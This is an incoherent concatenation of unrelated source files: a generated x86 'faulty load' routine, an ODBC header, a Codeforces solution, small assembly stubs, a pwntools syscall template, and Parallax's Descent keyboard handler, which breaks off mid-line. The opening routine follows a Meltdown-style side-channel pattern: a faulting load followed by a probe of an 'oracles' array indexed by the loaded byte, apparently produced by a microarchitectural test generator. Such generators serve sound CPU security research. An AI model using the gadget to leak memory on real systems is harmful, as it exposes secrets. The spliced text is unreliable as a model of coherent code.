nop add %r15, %r15 mov $96, %rcx rep movsq nop sub %rbp, %rbp lea addresses_UC_ht+0x1a191, %rsi lea addresses_A_ht+0x997f, %rdi nop nop and %r11, %r11 mov $60, %rcx rep movsl nop nop nop nop xor $54887, %rcx lea addresses_UC_ht+0x16f7f, %rsi nop nop mfence mov $0x6162636465666768, %rdx movq %rdx, %xmm6 movups %xmm6, (%rsi) nop nop nop nop nop inc %rdi lea addresses_UC_ht+0xa606, %rsi lea addresses_normal_ht+0x4f17, %rdi nop sub %r11, %r11 mov $5, %rcx rep movsl nop nop nop add $57514, %rbp lea addresses_A_ht+0x1e37f, %rdx nop nop nop nop and $24626, %r13 mov $0x6162636465666768, %r15 movq %r15, (%rdx) cmp $61448, %r9 lea addresses_UC_ht+0x5b7f, %r15 nop xor $14129, %r13 mov $0x6162636465666768, %r9 movq %r9, (%r15) nop nop nop add %rbp, %rbp lea addresses_UC_ht+0x1377f, %r15 nop nop nop cmp $51946, %rsi mov $0x6162636465666768, %r11 movq %r11, (%r15) nop nop add $28801, %rdx lea addresses_WC_ht+0xcadf, %rcx nop nop nop nop add $41949, %rdx mov (%rcx), %r15d inc %rsi lea addresses_UC_ht+0x1dba3, %r13 clflush (%r13) add %rdx, %rdx mov (%r13), %r11 nop nop nop nop nop and %r11, %r11 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r9 pop %r15 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %r15 push %r8 push %rcx push %rdi // Store lea addresses_WT+0x2c7f, %r11 nop nop add $58787, %r15 movb $0x51, (%r11) nop nop nop nop and $54889, %r15 // Store mov $0xd47, %r12 add $56586, %r8 mov $0x5152535455565758, %r15 movq %r15, %xmm7 vmovups %ymm7, (%r12) nop dec %rcx // Store lea addresses_UC+0x115ff, %r11 sub %r10, %r10 movw $0x5152, (%r11) // Exception!!! nop nop mov (0), %r8 nop nop nop sub %r11, %r11 // Faulty Load lea addresses_D+0xf37f, %r15 nop nop add %r12, %r12 mov (%r15), %r11w lea oracles, %rcx and $0xff, %r11 shlq $12, %r11 mov (%rcx,%r11,1), %r11 pop %rdi pop %rcx pop %r8 pop %r15 pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_D', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_WT', 'same': False, 'size': 1, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_P', 'same': False, 'size': 32, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_UC', 'same': False, 'size': 2, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_D', 'same': True, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_D_ht', 'same': True, 'size': 16, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 2, 'congruent': 7, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'src': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 16, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 8, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 8, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 8, 'congruent': 10, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 4, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 8, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
#pragma once //! odbc implementation is based on dbc under MIT license. //! //! Copyright (C) 2013 lexicalunit <lexicalunit@lexicalunit.com> //! //! The MIT License //! //! Permission is hereby granted, free of charge, to any person obtaining a copy //! of this software and associated documentation files (the "Software"), to deal //! in the Software without restriction, including without limitation the rights //! to use, copy, modify, merge, publish, distribute, sublicense, and/or sell //! copies of the Software, and to permit persons to whom the Software is //! furnished to do so, subject to the following conditions: //! //! The above copyright notice and this permission notice shall be included in //! all copies or substantial portions of the Software. //! //! THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR //! IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, //! FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE //! AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER //! LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, //! OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN //! THE SOFTWARE. #include "connection.hpp" #include "statement.hpp" #include "transaction.hpp" #include "error.hpp"
/* author: Susmoy Sen Gupta email: susmoy.cse@gmail.com github: github.com/SusmoySenGupta Judge: Codeforces problem no: 525B problem name: Pasha and String problem link: https://codeforces.com/problemset/problem/525/B Status: __Accepted__ Solved at: Nov/06/2021 18:25 */ #include <iostream> #include <map> #define INF (int)1e9 #define EPS 1e-9 #define MOD 1000000007ll #define PI 3.14159 #define MAX 500005 #define lli long long int #define rep(i, a, n) for (int i = a; i < n; i++) #define per(i, a, n) for (int i = n - 1; i >= a; i--) using namespace std; void solve() { string str; int m, n, ele[MAX], sum = 0; cin >> str >> m; while(m--) { cin >> n; ele[n]++; } for(int i = 1; 2*i <= str.size(); i++) { sum += ele[i]; if(sum % 2) swap(str[i-1], str[str.size() - i]); } cout << str << endl; } int main() { solve(); }
SECTION code_fp_math16 PUBLIC _logf16_fastcall EXTERN logf16 defc _logf16_fastcall = logf16
; A080531: Number of nucleons in longest known radioactive decay series ending with Lead 208 ("thorium series"), reversed. ; 208,208,212,212,216,220,224,224,228,228,232,236,240,244,248,252,252,256,260,264,268,272 mov $2,$0 lpb $2,1 sub $0,1 div $2,3 lpe mov $1,$0 lpb $0,1 sub $0,8 sub $1,1 lpe mul $1,4 add $1,208
<% import collections import pwnlib.abi import pwnlib.constants import pwnlib.shellcraft import six %> <%docstring>getresgid(rgid, egid, sgid) -> str Invokes the syscall getresgid. See 'man 2 getresgid' for more information. Arguments: rgid(gid_t*): rgid egid(gid_t*): egid sgid(gid_t*): sgid Returns: int </%docstring> <%page args="rgid=0, egid=0, sgid=0"/> <% abi = pwnlib.abi.ABI.syscall() stack = abi.stack regs = abi.register_arguments[1:] allregs = pwnlib.shellcraft.registers.current() can_pushstr = [] can_pushstr_array = [] argument_names = ['rgid', 'egid', 'sgid'] argument_values = [rgid, egid, sgid] # Load all of the arguments into their destination registers / stack slots. register_arguments = dict() stack_arguments = collections.OrderedDict() string_arguments = dict() dict_arguments = dict() array_arguments = dict() syscall_repr = [] for name, arg in zip(argument_names, argument_values): if arg is not None: syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False))) # If the argument itself (input) is a register... if arg in allregs: index = argument_names.index(name) if index < len(regs): target = regs[index] register_arguments[target] = arg elif arg is not None: stack_arguments[index] = arg # The argument is not a register. It is a string value, and we # are expecting a string value elif name in can_pushstr and isinstance(arg, (six.binary_type, six.text_type)): if isinstance(arg, six.text_type): arg = arg.encode('utf-8') string_arguments[name] = arg # The argument is not a register. It is a dictionary, and we are # expecting K:V paris. elif name in can_pushstr_array and isinstance(arg, dict): array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()] # The arguent is not a register. It is a list, and we are expecting # a list of arguments. elif name in can_pushstr_array and isinstance(arg, (list, tuple)): array_arguments[name] = arg # The argument is not a register, string, dict, or list. # It could be a constant string ('O_RDONLY') for an integer argument, # an actual integer value, or a constant. else: index = argument_names.index(name) if index < len(regs): target = regs[index] register_arguments[target] = arg elif arg is not None: stack_arguments[target] = arg # Some syscalls have different names on various architectures. # Determine which syscall number to use for the current architecture. for syscall in ['SYS_getresgid']: if hasattr(pwnlib.constants, syscall): break else: raise Exception("Could not locate any syscalls: %r" % syscalls) %> /* getresgid(${', '.join(syscall_repr)}) */ %for name, arg in string_arguments.items(): ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\x00' not in arg))} ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)} %endfor %for name, arg in array_arguments.items(): ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)} %endfor %for name, arg in stack_arguments.items(): ${pwnlib.shellcraft.push(arg)} %endfor ${pwnlib.shellcraft.setregs(register_arguments)} ${pwnlib.shellcraft.syscall(syscall)}
;THE COMPUTER CODE CONTAINED HEREIN IS THE SOLE PROPERTY OF PARALLAX ;SOFTWARE CORPORATION ("PARALLAX"). PARALLAX, IN DISTRIBUTING THE CODE TO ;END-USERS, AND SUBJECT TO ALL OF THE TERMS AND CONDITIONS HEREIN, GRANTS A ;ROYALTY-FREE, PERPETUAL LICENSE TO SUCH END-USERS FOR USE BY SUCH END-USERS ;IN USING, DISPLAYING, AND CREATING DERIVATIVE WORKS THEREOF, SO LONG AS ;SUCH USE, DISPLAY OR CREATION IS FOR NON-COMMERCIAL, ROYALTY OR REVENUE ;FREE PURPOSES. IN NO EVENT SHALL THE END-USER USE THE COMPUTER CODE ;CONTAINED HEREIN FOR REVENUE-BEARING PURPOSES. THE END-USER UNDERSTANDS ;AND AGREES TO THE TERMS HEREIN AND ACCEPTS THE SAME BY USE OF THIS FILE. ;COPYRIGHT 1993-1998 PARALLAX SOFTWARE CORPORATION. ALL RIGHTS RESERVED. ; ; $Source: f:/miner/source/bios/rcs/key.asm $ ; $Revision: 1.20 $ ; $Author: john $ ; $Date: 1994/01/18 10:58:55 $ ; ; Contains routines to get, buffer, and check key presses. ; ; $Log: key.asm $ ; Revision 1.20 1994/01/18 10:58:55 john ; *** empty log message *** ; ; Revision 1.19 1993/12/22 13:28:40 john ; Added back changes Matt made in r1.14 ; ; Revision 1.18 1993/12/22 13:18:32 john ; *** empty log message *** ; ; Revision 1.17 1993/12/20 16:48:47 john ; Put cli/sti around clear keybuffer in key_close ; ; Revision 1.16 1993/12/20 15:39:13 john ; Tried to neaten handler code... also, moved some cli's and sti's around ; trying to find bug. Made the code call key_get_milliseconds instead ; of timer_get_milliseconds, because we don't want the cli and sti ; stuff in the interrupt handler. ; ; Revision 1.15 1993/12/02 10:54:48 john ; Made the Ctrl,Shift,Alt keys buffer like all the other keys. ; ; Revision 1.14 1993/10/29 11:25:18 matt ; Made key_down_time() not accumulate time if shift,alt,ctrl down ; ; Revision 1.13 1993/10/29 10:47:00 john ; *** empty log message *** ; ; Revision 1.12 1993/10/16 19:24:16 matt ; Added new function key_clear_times() & key_clear_counts() ; ; Revision 1.11 1993/10/15 10:16:49 john ; bunch of stuff, mainly with detecting debugger. ; ; Revision 1.10 1993/10/04 13:25:57 john ; Changed the way extended keys are processed. ; ; Revision 1.9 1993/09/28 11:35:32 john ; added key_peekkey ; ; Revision 1.8 1993/09/23 18:09:23 john ; fixed bug checking for DBG ; ; Revision 1.7 1993/09/23 17:28:01 john ; made debug check look for DBG> instead of CONTROL ; ; Revision 1.6 1993/09/20 17:08:19 john ; Made so that keys pressed in debugger don't get passed through to ; the keyboard handler. I also discovered, but didn't fix a error ; (page fault) caused by jumping back and forth between the debugger ; and the program... ; ; Revision 1.5 1993/09/17 09:58:12 john ; Added checks for already installed, not installed, etc. ; ; Revision 1.4 1993/09/15 17:28:00 john ; Fixed bug in FlushBuffer that used CX before a REP instead of ECX. ; ; Revision 1.3 1993/09/08 14:48:00 john ; made getch() return an int instead of a char that has shift states, etc. ; ; Revision 1.2 1993/07/22 13:12:23 john ; fixed comment ; ,. ; ; Revision 1.1 1993/07/10 13:10:42 matt ; Initial revision ; ; ; ;*************************************************************************** ;*************************************************************************** ;***** ***** ;***** ***** ;***** K E Y . A S M ***** ;***** ***** ;***** Contains routines to get, buffer, and check key presses. ***** ;***** ***** ;***** ***** ;***** PROCEDURES ***** ;***** ***** ;***** key_init() - Activates the keyboard package. ***** ;***** key_close() - Deactivates the keyboard package. ***** ;***** key_check() - Returns 1 if a buffered key is waiting. ***** ;***** key_getch() - Waits for and returns a buffered keypress. ***** ;***** key_flush() - Clears buffers and state array. ***** ;***** key_time() - Index by scan code. Contains the time key has been ***** ;***** held down. NOT DONE YET. ***** ;***** ***** ;***** ***** ;***** VARIABLES ***** ;***** ***** ;***** keyd_buffer_type -Set to 0 and key_getch() always returns 0. ***** ;***** Set to 1 to so that ASCII codes are returned ***** ;***** by key_getch(). Set to 2 and key_getch() returns***** ;***** the buffered keyboard scan codes. ***** ;***** keyd_repeat - Set to 0 to not allow repeated keys in the ***** ;***** keyboard buffer. Set to 1 to allow repeats. ***** ;***** keyd_pressed[] -Index by scan code. Contains 1 if key down else 0***** ;***** ***** ;***** ***** ;***** CONSTANTS ***** ;***** ***** ;***** Setting the DEBUG to 1 at compile time passes SysReq through ***** ;***** to the debugger, and when the debugger is active, it will give ***** ;***** the debugger any keys that are pressed. Note that this only ***** ;***** works with the Watcom VIDEO debugger at this time. Setting ***** ;***** DEBUG to 0 takes out all the debugging stuff. ***** ;***** ***** ;*************************************************************************** ;*************************************************************************** DEBUG EQU 1 .386 ;************************************************************************ ;**************** FLAT MODEL DATA SEGMENT STUFF ************************* ;************************************************************************ _DATA SEGMENT BYTE PUBLIC USE32 'DATA' rcsid db "$Id: key.asm 1.20 1994/01/18 10:58:55 john Exp $" PUBLIC _keyd_pressed ; Must start with a _ so C can see the variable. _keyd_pressed db 256 dup (?) keybuffer dw 256 dup (?) ; Use 256 so an inc wraps around TimeKeyWentDown dd 256 dup(0) TimeKeyHeldDown dd 256 dup(0) NumDowns dd 256 dup(0) NumUps dd 256 dup(0) MyCodeSegment dw ? PUBLIC _keyd_editor_mode _keyd_editor_mode db 0 PUBLIC _keyd_use_bios _keyd_use_bios db 1 PUBLIC _keyd_last_pressed _keyd_last_pressed db 0 PUBLIC _keyd_last_released _keyd_last_released db 0 PUBLIC _keyd_dump_key_array _keyd_dump_key_array db 0 org_int_sel dw ? org_int_off dd ? interrupted_cs dw ? interrupted_eip dd ? keyhead db ? keytail db ? PUBLIC _keyd_buffer_type PUBLIC _keyd_repeat _keyd_buffer_type db ? ; 0=No buffer, 1=buffer ASCII, 2=buffer scans _keyd_repeat db ? E0Flag db 0 Installed db 0 INCLUDE KEYS.INC _DATA ENDS DGROUP GROUP _DATA ;************************************************************************ ;**************** FLAT MODEL CODE SEGMENT STUFF ************************* ;************************************************************************ _TEXT SEGMENT BYTE PUBLIC USE32 'CODE' ASSUME ds:_DATA ASSUME cs:_TEXT key_get_milliseconds: EXTERNDEF timer_get_stamp64:NEAR push ebx push edx call timer_get_stamp64 ; Timing in milliseconds ; Can be used for up to 1000 hours shld edx, eax, 21 ; Keep 32+11 bits shl eax, 21 mov ebx, 2502279823 ; 2^21*1193180/1000 div ebx pop edx pop ebx ret ;************************************************************************ ;************************************************************************ ;***** ***** ;***** K E Y _ T O _ A S C I I _ ***** ;***** ***** ;************************************************************************ ;************************************************************************ PUBLIC key_to_ascii_ key_to_ascii_: ; EAX = scancode push ebx mov bl, ah and bl, 011111110b cmp bl, 0 jne CantDoKey cmp al, 127 jae CantDoKey and ah, 01b ; take away ctrl and alt codes shl al, 1 shr eax, 1 and eax, 0ffh mov al, byte ptr key1[eax] pop ebx ret CantDoKey: pop ebx mov eax, 255 ret public key_clear_times_,key_clear_counts_ ;clear the array of key down times. key_clear_times_: cli push eax push ecx push edi xor eax,eax mov ecx,256 lea edi,TimeKeyHeldDown rep stosd ;clear array pop edi pop ecx pop eax sti ret ;clear the arrays of key down counts key_clear_counts_: cli push eax push ecx push edi xor eax,eax mov ecx,256 lea edi,NumDowns rep stosd ;clear array mov ecx,256 lea edi,NumUps rep stosd ;clear array pop edi pop ecx pop eax sti ret PUBLIC key_down_time_ key_down_time_: cli push edx push ecx push ebx mov ebx, eax xor eax, eax cmp _keyd_pressed[ebx], 0 je NotPressed cmp _keyd_editor_mode, 0 je read_time call get_modifiers ;shift,alt,ctrl? or ah,ah jz read_time xor eax,eax jmp NotPressed read_time: mov ecx, TimeKeyWentDown[ebx*4] call key_get_milliseconds mov TimeKeyWentDown[ebx*4], eax sub eax, ecx ; EAX = time held since last NotPressed: add eax, TimeKeyHeldDown[ebx*4] mov TimeKeyHeldDown[ebx*4], 0 pop ebx pop ecx pop edx sti ret PUBLIC key_down_count_ key_down_count_: cli push ebx mov ebx, eax mov eax, NumDowns[ebx*4] mov NumDowns[ebx*4], 0 pop ebx sti ret PUBLIC key_up_count_ key_up_count_: cli push ebx mov ebx, eax mov eax, NumUps[ebx*4] mov NumUps[ebx*4], 0 pop ebx sti ret ;************************************************************************ ;************************************************************************ ;***** ***** ;***** K E Y _ F L U S H ***** ;***** ***** ;************************************************************************ ;************************************************************************ PUBLIC key_flush_ key_flush_: cli push eax push ecx push edi mov keyhead,0 mov keytail,255 mov E0Flag, 0 ; Clear the keyboard array mov edi, offset _keyd_pressed mov ecx, 32 mov eax,0 rep stosd pop edi pop ecx pop eax sti ret ;************************************************************************ ;************************************************************************ ;***** ***** ;***** K E Y _ I N I T ***** ;***** ***** ;************************************************************************ ;************************************************************************ PUBLIC key_init_ key_init_: push eax push ebx push ds push es ;************************************************************** ;******************* INITIALIZE key QUEUE ********************** ;************************************************************** mov _keyd_buffer_type,1 mov _keyd_repeat,1 mov E0Flag, 0 ; Clear the keyboard array call key_flush_ cmp Installed, 0 jne AlreadyInstalled ;************************************************************** ;******************* SAVE OLD INT9 HANDLER ******************** ;************************************************************** mov Installed, 1 mov eax, 03509h ; DOS Get Vector 09h int 21h ; Call DOS mov org_int_sel, es ; Save old interrupt selector mov org_int_off, ebx ; Save old interrupt offset ;************************************************************** ;***************** INSTALL NEW INT9 HANDLER ******************* ;************************************************************** mov eax, 02509h ; DOS Set Vector 09h mov edx, offset key_handler ; Point DS:EDX to new handler mov bx, cs mov MyCodeSegment, bx mov ds, bx int 21h AlreadyInstalled: pop es pop ds pop ebx pop eax ret ;************************************************************************ ;************************************************************************ ;***** ***** ;***** K E Y _ C L O S E _ ***** ;***** ***** ;************************************************************************ ;************************************************************************ PUBLIC key_close_ key_close_: push eax push ebx push edx push ds cmp Installed, 0 je @f ;************************************************************** ;***************** RESTORE OLD INT9 HANDLER ******************* ;************************************************************** mov Installed, 0 ; Clear the BIOS buffer cli mov ebx, 041ch mov al, byte ptr [ebx] mov ebx, 041ah mov byte ptr [ebx], al sti mov eax, 02509h ; DOS Set Vector 09h mov edx, org_int_off mov ds, org_int_sel int 21h @@: pop ds pop edx pop ebx pop eax ret ;************************************************************************ ;************************************************************************ ;***** ***** ;***** K E Y _ C H E C K _ ***** ;***** ***** ;************************************************************************ ;************************************************************************ PUBLIC key_checkch_ ; Must end with a _ so C can see the function. key_checkch_: cli push ebx xor eax, eax cmp Installed, 0 je NoKey mov bl, keytail inc bl cmp bl, keyhead je Nokey mov eax, 1 Nokey: pop ebx sti ret ;************************************************************************ ;************************************************************************ ;***** ***** ;***** K E Y _ D E B U G ***** ;***** ***** ;************************************************************************ ;************************************************************************ PUBLIC key_debug_ key_debug_: int 3h ret ;************************************************************************ ;************************************************************************ ;***** ***** ;***** K E Y _ G E T C H _ ***** ;***** ***** ;************************************************************************ ;************************************************************************ PUBLIC key_getch_ ; Must end with a _ so C can see the function. key_getch_: push ebx xor eax, eax xor ebx, ebx cmp Installed, 0 jne StillNoKey pop ebx ret StillNoKey: cli ; Critical section mov bl, keytail inc bl cmp bl, keyhead sti je StillNoKey cli ; Critical section xor ebx, ebx mov bl, keyhead mov ax, word ptr keybuffer[ebx*2] inc BYTE PTR keyhead sti pop ebx ret ;************************************************************************ ;************************************************************************ ;***** ***** ;***** K E Y _ I N K E Y _ ***** ;***** ***** ;************************************************************************ ;************************************************************************ PUBLIC key_inkey_ ; Must end with a _ so C can see the function. key_inkey_: push ebx xor eax, eax xor ebx, ebx cmp Installed, 0 je NoInkey cli ; Critical section mov bl, keytail inc bl cmp bl, keyhead sti je NoInkey cli ; Critical section mov bl, keyhead mov ax, word ptr keybuffer[ebx*2] inc BYTE PTR keyhead sti NoInkey: pop ebx ret PUBLIC key_peekkey_ ; Must end with a _ so C can see the function. key_peekkey_: push ebx xor eax, eax xor ebx, ebx cli ; Critical section cmp Installed, 0 je NoPeek mov bl, keytail inc bl cmp bl, keyhead je NoPeek mov bl, keyhead mov ax, word ptr keybuffer[ebx*2] NoPeek: sti pop ebx ret ;************************************************************************ ;************************************************************************ ;***** ***** ;***** K E Y _ H A N D L E R ***** ;***** ***** ;************************************************************************ ;************************************************************************ PUBLIC key_handler ; Must end with a _ so C can see the function. key_handler: pushfd ; Save flags in case we have to chain to original push eax push ebx push ecx push edx push ds mov ax, DGROUP ; Point to our data segment, since this is an mov ds, ax ; interrupt and we don't know where we were. mov eax, (0b0000h+76*2) mov byte ptr [eax], '1' IFDEF DEBUG call CheckForDebugger jnc @f mov eax, 0b0000h+78*2 mov byte ptr [eax], 'D' jmp PassToBios ; If debugger is active, then skip buffer @@: mov eax, 0b0000h+78*2 mov byte ptr [eax], 'I' ; Clear the BIOS buffer ;**mov ebx, 041ch ;**mov al, byte ptr [ebx] ;**mov ebx, 041ah ;**mov byte ptr [ebx], al ENDIF xor eax, eax xor ebx, ebx in al, 060h ; Get scan code from keyboard cmp al, 0E0h jne NotE0Code E0Code: mov E0Flag, 010000000b jmp LeaveHandler ; If garbage key, then don't buffer it NotE0Code: mov bl, al ; Put break bit into bl ; 0 = pressed, 1=released and al, 01111111b ; AL = scancode or al, E0Flag ; AL = extended scancode mov E0Flag,0 ; clear E0 flag cmp al, 029h je pause_execution shl bl, 1 ; put upper bit into carry flag jc key_mark_released ; if upper bit of bl was set, then it was a release code ;************************************************************** ;****************** HANDLE A NEWLY PRESSED KEY **************** ;************************************************************** ;Marks the key press in EAX in the scancode array. key_mark_pressed: ;cmp al, 0eh ; backspace ;je pause_execution mov _keyd_last_pressed, al ; Check if the key is repeating or if it just got pressed. cmp byte ptr _keyd_pressed[eax], 1 je AlreadyDown ;------------------------------- Code for a key pressed for the first time ------------------------ mov byte ptr _keyd_pressed[eax], 1 ; Set the time push edx push eax call key_get_milliseconds mov edx, eax pop eax mov TimeKeyWentDown[eax*4], edx pop edx inc NumDowns[eax*4] jmp BufferAX ;------------------------------- Code for a key that is already pressed ------------------------ AlreadyDown: cmp _keyd_repeat, 0 je DoneMarkingPressed BufferAX: cmp _keyd_buffer_type, 0 je SkipBuffer ; Buffer = 0 means don't buffer anything. cmp al, 0AAh ; garbage key je SkipBuffer call get_modifiers ;returns ah xor ebx, ebx mov bl, keytail inc bl inc bl ; If the buffer is full then don't buffer this key cmp bl, keyhead je SkipBuffer dec bl mov word ptr keybuffer[ebx*2], ax mov keytail, bl SkipBuffer: ;---------------------------------- Exit function ----------------------------- DoneMarkingPressed: jmp LeaveHandler ;************************************************************** ;******************* HANDLE A RELEASED KEY ******************** ;************************************************************** ; Unmarks the key press in EAX from the scancode array. key_mark_released: mov _keyd_last_released, al mov byte ptr _keyd_pressed[eax], 0 inc NumUps[eax*4] cmp _keyd_editor_mode, 0 je NotInEditorMode push eax xor ah,ah call get_modifiers or ah,ah ;check modifiers pop eax jnz skip_time NotInEditorMode: push eax call timer_get_stamp64 ; Timing in milliseconds ; Can be used for up to 1000 hours shld edx, eax, 21 ; Keep 32+11 bits shl eax, 21 mov ebx, 2502279823 ; 2^21*1193180/1000 div ebx mov edx, eax pop eax sub edx, TimeKeyWentDown[eax*4] add TimeKeyHeldDown[eax*4], edx skip_time: ;**jmp LeaveHandler ;************************************************************** ;*************** FINISH UP THE KEYBOARD INTERRUPT ************* ;************************************************************** LeaveHandler: mov eax, (0b0000h+76*2) mov byte ptr [eax], '2' ;; cmp _keyd_dump_key_array, 0 ;; je DontPassToBios jmp PassToBios mov ecx, 256 mov ebx, 0 showdown: mov al, _keyd_pressed[ebx] add al, '0' mov [ebx*2+ 0b0000h], al inc ebx loop showdown mov eax, 0b0000h mov byte ptr [ eax+(036h*2+1) ], 070h mov byte ptr [ eax+(02Ah*2+1) ], 070h mov byte ptr [ eax+(038h*2+1) ], 070h mov byte ptr [ eax+(0B8h*2+1) ], 070h mov byte ptr [ eax+(01Dh*2+1) ], 070h mov byte ptr [ eax+(09dh*2+1) ], 070h mov byte ptr [ eax+(0AAh*2+1) ], 